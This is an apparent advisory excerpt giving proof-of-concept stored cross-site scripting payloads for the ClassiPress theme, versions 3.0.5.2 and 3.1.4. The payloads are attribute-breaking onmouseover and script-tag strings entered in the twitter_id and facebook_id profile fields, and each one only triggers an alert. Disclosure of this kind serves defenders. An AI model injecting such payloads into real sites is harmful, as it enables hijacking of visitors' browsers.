Proof-of-Concept Code:
-------------------------

Insertion page: http://www.example.com/author/profile/
Infected page : http://www.example.com/author/attacker_username/
Note: Some sites replace "author" with another path, this is not a vanilla configuration, however. 

Version: ClassiPress 3.0.5.2
Vulnerable Input Parameters:

	twitter_id:  " onmouseover="alert('XSS');
	facebook_id: " onmouseover="alert('XSS');
    Alternate Exploit code:
	twitter_id:  "><script>alert('XSS');</script><div id="
	facebook_id: "><script>alert('XSS');</script><div id="


Version: ClassiPress 3.1.4
Vulnerable Input Parameters:
	
	twitter_id:  " onmouseover='alert("XSS");'><
	facebook_id: " onmouseover='alert("XSS");'><